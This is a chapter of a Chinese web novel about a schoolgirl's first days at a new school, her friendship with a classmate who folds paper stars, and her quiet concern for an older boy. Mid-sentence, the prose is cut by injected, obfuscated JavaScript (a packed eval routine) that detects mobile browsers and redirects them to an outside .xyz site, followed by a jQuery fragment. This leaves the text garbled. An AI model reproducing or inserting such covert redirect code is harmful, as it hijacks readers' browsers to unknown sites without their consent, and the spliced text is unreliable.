京山冬冷夏热，时间滚进九月，还是酷暑难耐，没有一点过了立秋的实感，街上树木郁郁葱葱，行人清一色的轻薄夏装。
周一早上，何温妤把沈清嘉送到学校。
开学报道大家互不相识，座位随意挑选，先到先得。沈清嘉来得迟，到班时只有第一组挨着后门的两张课桌还空着。
教室里闹哄哄的，没人注意到沈清嘉独自从门口走到角落。
离讲台最远，视野又不好，难怪大家都不想坐这。
沈清嘉不挑这些，刚想把倒扣在桌上的椅子放下，鞋底就像踩到胶水一般，寸步难行。
低头，防滑砖上东一处西一处发黑，和其它光滑区域对比明显。
沈清嘉不信邪又原地走了几圈，还是很黏，正奇怪是怎么回事，前面两个男生打闹玩笑，撞到桌子，发出哐当巨响。
“你那么用力推我干什么！”
“谁用力推了！是你非要讲我！”
“本来就是，你还喝这种东西，那是她们女生才喝的。”
“不许你这样说，这是我爸爸妈妈给我的！都怪你，我现在没得喝了！”
沈清嘉眼见他们吵得愈演愈烈，不自觉往旁边退，隔着走道的女生喊住了她。
女生温声细语，颤颤惊惊同她解释。那两个男生从进来开始就叫个没完，追逐打闹的时候不小心打翻了其中一个人带的糖水，两人意识到做错了事才消停。
哦，所以地板才黏糊糊的。沈清嘉动动鼻子，闻到空气里有股甜腻的味道，皱眉。
那为什么不善后，是想留给选到这里的倒霉蛋处理吗？
女生看出她的难处，好心建议：“不然你搬椅子先在我这边坐吧。”说完就挪凳子，勉强空出了半个空间。
沈清嘉摆摆手：“不用啦，谢谢你。”
沈清嘉不抱希望地开始掰手指，算到放学要站多久。突然后门从外面被推开，她抬头，看见一张熟悉的脸。
“岁岁！”
“清嘉！”
沈清嘉一把抱住周岁，瞬间踩上刚才还嫌弃的黏腻地板。
周岁也很意外：“你也来这个学校了呀，我们好有缘！”
“我早上起晚了，想从后门溜进来，老师没来吧？”
“对了，你怎么背着个书包站在这里呀？我们坐一起吧！”
周岁太激动，话一句接一句蹦，沈清嘉面露难色，不知道应该先回答哪个，索性先将方才的来龙去脉说了一遍。
“怎么能这样，太过分了！”
怒吼声量大，引得不少人往这边看。沈清嘉也愣住了，和其他人眼睁睁看周岁冲向走廊。
拖把沾了水，很沉，在地板拖出一道水痕。周岁直接把手柄甩到罪魁祸首前面：“你们两个，把这里拖干净！”
男生原本还在看戏，没想到祸从天降，立马红了脸：“为什么要让我们拖？！”
“不然呢？自己闯祸还要别人给擦屁股吗？”周岁用手指上下刮脸，“真不知羞！”
周围小朋友议论纷纷，学着周岁一起嘲笑。两个男生从同仇敌忾到内部起分歧，都不想去处理，争论不下。
一阵兵荒马乱，赶在铃响之前，地板终于还是清理干净了，甚至比原先还要亮。
周岁满意地拉着沈清嘉坐下，骄傲扬起下巴：“我妈妈说受委屈了就要想办法还回去，清嘉，委屈了千万不要忍着，不然别人还以为我们好欺负呢。”
沈清嘉懵懵地点点头。
这话陈淮之也说过。那时他轻拍她的脑袋，说她现在正是可以撒泼的年纪，大人们不会多计较。语气有点像开玩笑，沈清嘉摸不清，就没当真。
很快有人来了。班主任姓董，戴着副眼镜，头发梳成马尾，很泛泛的中年教师形象。
五十张生面孔相聚，互相了解的“最优解”是自我介绍。性格外向的按耐不住举手，被班主任勒令安静，按座位顺序依次进行；内向的保持紧张状态，一门心思准备自己的内容，根本无心去听别人的发言。
沈清嘉觉得很无聊。
从小到大做过的自我介绍太多了，她一直不理解这个环节有什么存在的必要，于是转头去看周岁。
周岁低着头，手上在摆弄一张折纸。不过一分钟，桌上就多出一只蓝色小船，比手心还小，轻巧可爱。
“你好厉害！折得又快又好看！”沈清嘉兴奋夸赞。
“嘿嘿。”周岁得意，“我可是练了好久呢。”
沈清嘉伸出手，懒懒进行海豚式拍掌。
周岁很开心，大方地把小船推到沈清嘉面前：“这个送给你啦！”
“啊？可是这个是你折的呀。”
不用任何花费就占有不属于的物品，沈清嘉不太安心。
“哎呀，我家里这样的折纸可多了！”周岁看出沈清嘉喜欢的星星眼，拍拍胸脯，“这段时间我学了好多能折的东西呢，以后我每天给你送一个！”
-
因为周岁的小船，沈清嘉好心情保持到了放学。
下午五点，校门口人群攒动。不到百米就是路口，二人家在相反方向，就此分别。
沈清嘉一上车，何温妤就笑问：“清嘉，今天上学开心吗？累不累呀？”
沈清嘉笑眯眯答：“开心！今天没有上课。”
光是维持课堂秩序就花了很多时间，她基本和周岁玩了一整天，最后背了一书包的课本回家。
恰逢高峰期，车辆寸步难行。沈清嘉百无聊赖，卸下书包前倾：“阿姨，我们不去接哥哥吗？”
她记得陈淮之的学校离家比她还远。
窗外喇叭声盖过，何温妤没太听清：“怎么了？”
第二次发问，沈清嘉莫名觉得那两字难以启齿，于是换成“他”来指代。
何温妤短暂闭眼，思考她说的人是谁，很快笑了：“淮之啊，他不用接，而且现在也没放学。”
沈清嘉噢了一声，低头，无意识把玩手里的小船：“那他什么时候回来呀？”
“大概晚上九点吧。”
居然还有四个小时！这也太久了吧。
沈清嘉撇撇嘴，不太满意地想，这都够她玩好几页画纸了。
然而接近十点，陈淮之没有回来。沈清嘉熬完了最后一个动画剧场，玄关依旧没动静。
事出反常必有妖，何温妤有点担心，先去哄沙发上的沈清嘉：“清嘉啊，快十点了，快去睡觉吧。”
沈清嘉低头，无目的地按着遥控器。
她就是想等陈淮之回来，才在这不停换台拖延时间。
小孩子的情绪全写在脸上，何温妤暗暗叹气，撑着笑脸捧起她的脸蛋，又说了不少甜言蜜语。
沈清嘉很快识相地去洗漱。
冷白灯光填满卫生间每一处，沈清嘉站在琉璃台前，看着镜子里的自己。
碎发凌乱，眼下有淡淡乌青。
擦干脸上水渍，沈清嘉跳下垫脚的红凳，正准备偷偷去楼下打探情况，有声音从廊道里传出来，她走过去，看到了陈淮之的侧影。
二楼客厅很小，只放了一张简易的沙发。
陈淮之坐在沙发边缘，两腿分开踩在地板上，手臂交叉搭着膝盖，脸整个埋在臂弯里。顶灯没开，少年没什么精神地垂着头，瘦削的肩背撑起薄薄的黑色T恤，部分身体泡在月色中，一半明亮，一半晦暗。
沈清嘉完全看呆了，没有出声，脚步不自觉放轻。
直到陈淮之察觉到什么，抬头，撞上她的眼睛。
沈清嘉呼吸一滞。
她从来没见过这样的陈淮之。
疲累、荒芜，还有一点孤独。
虚无的视线终于找到焦点，陈淮之撑着身体，嗓子因为疲累有一点哑：“今天去上学还开心吗？”
同样的问题何温妤她在车上已经答过一次。但现在沈清嘉不太清醒，模棱两可：“就，还行吧。”
两个月前还盼着回家，这段时间和家里几乎了无音讯，她都不太在意，甚至于今天爸爸妈妈没来送她，她也没有很难过。
开不开心不好定义，她只知道现在的陈淮之不快乐。
她想和他多说些话。
陈淮之没纠结她模糊的回答，淡淡一笑：“那就好。”
沈清嘉抿唇，手指捏着睡衣，提高声音：“哥哥。”
“嗯？”
“你今天去学校不开心吗？”
很明显吗，他还以为不开灯的话会藏得很好。
陈淮之滚了下喉结，仰靠回沙发，神情恢复成往日的散漫，有点拿腔拿调：“没有，挺好的。”
“噢。”沈清嘉低下头，小声嘟囔：“还有秘密。”
陈淮之挑眉：“什么？”
“秘密啊，难道不是吗？你有秘密，还不想告诉我。”
不知道安静了多久，陈淮之才喊她名字。
沈清嘉下意识啊了一声，就听他说：“可以。”
“？”
“秘密可以说，但要交换才比较公平。所以清嘉，你有什么秘密吗？”
陈淮之问这话时，眉眼带笑，语气里有试探和好奇，像是在说一个无伤大雅的玩笑。
楼下公路飞过一群鬼火少年，发动机声撕破长夜的寂静。沈清嘉被吓得一抖，突然觉得四周安静得可怕，也黑得可怕。狭窄光条映在墙上，像磨得锃亮的利刃，像好多年前她看到的画面。
沈清嘉不自觉后退，一步一步，最后跑了起来。陈淮之没来得及叫住她，就响起仓促的“晚安”和关门声。
-
第二天周岁送了一只千纸鹤。
下午最后一节是美术课，女老师滔滔不绝，黑板上有老师的名字，还画了很多水果。
原本该是一整天里最有趣、最放松的课，因为老师一直在讲台转悠，只一笔一划教学生画画，连苹果柄都要规定歪到哪个方向，沈清嘉听了几分钟就兴致缺缺。
“你在画什么呀？”周岁曲着胳膊挪过来。
沈清嘉支起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15362087|167751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下巴，摇摇头：“没有，随便涂涂而已。”
周岁凑过来咬耳朵：“我觉得这个课好无聊。”
沈清嘉露出一副同道中人的表情。
其实除了课没意思，沈清嘉还在烦恼别的事。
昨晚她跑得太快，不小心踢到了陈淮之放在地上的书包，还没和他道歉。本来想今天说的，何温妤却说陈淮之天没亮就走了，中午她在午托，除了晚上睡觉前的那点时间，沈清嘉根本想不到还有什么机会可以面对面说话。
明明他们暑假还那么自由，还能随时随地聊天。
沈清嘉叹气，戳着周岁的胳膊：“岁岁，你教我折纸吧。”
陈淮之肯定不会和她计较那些小事，但不代表她可以什么都不做，起码得有个态度。
周岁惊喜：“你想学？那太好了，我还愁没人陪我一起玩。”
沈清嘉瞟到千纸鹤，有点犹豫：“那个……能不能换一个呀，这个看起来有点复杂。”
“没问题。”周岁眼珠一转，转身去翻书包。
桌上摊着一沓细长纸条，蓝紫色，大约十几厘米。
周岁：“这个是专门用来折星星的纸，星星是我觉得所有里面最简单的了！”
事实永远比想象来得残酷。
沈清嘉虚心好学，每一步都跟着周岁。然而每个字她都能听懂，连在一起就不知道是什么意思，手上忙忙叨叨。
几分钟后，桌面一左一右两颗星星，周岁的标准精致，她的扭曲歪斜。
周岁来回欣赏，直接竖起大拇指：“清嘉你好厉害，我第一次折都没成型呢！”
鼓励的话直接让沈清嘉上头，她一拍桌子：“那我们继续，比比谁折得更多，输的人就——”
“第一组最后一排的两个女生，你们吵什么！”
一道粗重的声音截断对话。
两人一愣，同时扭头去看讲台。
赵雅双臂抱胸，居高临下望着，脸上全是愤怒：“别人都在好好画画，就你们两个在开小差！从我刚才在黑板上画画你们就一直说小话，你们是觉得自己画得很厉害可以不听了是吗？！”
说完，赵雅直接走过来，带起一阵风，整个教室噤若寒蝉。
两人没被震住，快速把纸条塞进桌肚，赵雅不满她们的反应，大声吼道：“做错事了不知道自己站起来吗？班主任家长没教过吗——这是什么？”
藏得太急，纸条一角露了出来。赵雅立刻大发雷霆，把东西全抽出来，不带犹豫扔进垃圾桶。
沈清嘉看了一眼周岁，周岁脸上的笑已经褪去，只有沉默。
赵雅手里还捏着粉笔，直接按在她们的桌子一角，碾碎：“我停下来训你们五分钟，耽误的就是全班的五分钟，你们不想学也考虑一下其他人，拿上你们画本到后面去，站到下课！”
周岁刚想反驳，被沈清嘉握住手。
赵雅审视许久才离开，走到班级公告栏前，比对座位表记下她们的名字。昨天被周岁“教训”的两男生乐得开花，转头做鬼脸，又被周岁瞪回去。
“对不起。”
周岁一顿：“怎么了？”
“对不起……对不起……”沈清嘉低头重复，声音像要哭出来，“我不该……拉着你折纸的，还害得你东西被丢了……”
沈清嘉眼泪说来就来，周岁有点慌了，顾不上赵雅的怒视替她顺背：“不要这样说清嘉，本来就是她的错。”
“你看现在班上有几个人听啊，那几个男生比我们还吵她都不说，就是针对我们而已。”
“课上得不好就是她的问题。”
“你看她画的，梨像冬瓜，柠檬像桃子，茄子像香蕉。”
沈清嘉抽噎：“茄子不是水果。”
“噢噢，别管，反正你画的比她好看多了！”
……
接近半小时的罚站叫人身心俱疲。其他人在收拾书包，唯有她们歪着身，坐没坐样，互相给对方揉腿捏肩。
最后两人都笑了。
周岁双手环成喇叭状，声音却很小：“清嘉我跟你说个秘密哦。”
“什么？”
“其实，我包里还有一沓绿色的星星纸条。所以你也不用太难过啦。”
沈清嘉哑言，又想哭了，硬生生把那股酸劲憋回去，心想一定要给周岁买回最好看的星星纸。
虽然她暂时还没有钱。
周岁见她不说话，以为她是不信，去翻书包：“你看！还在对不对！”
沈清嘉笑中带泪，一把抱住周岁。
两个女孩围坐角落，共享一方天地。
沈清嘉熟练折好两颗星星，周岁肆无忌惮鼓掌。
刚想把星星给出去，周岁突然有了奇思妙想，说可以在纸条上写东西，折起来就看不见了。
玩法新奇，像亲手埋下一个宝藏，沈清嘉很快实践。
夕阳下，沈清嘉脸颊微红，手指沿着折痕恢复原状。在夏末与初秋交替之间，她有了人生第二个秘密。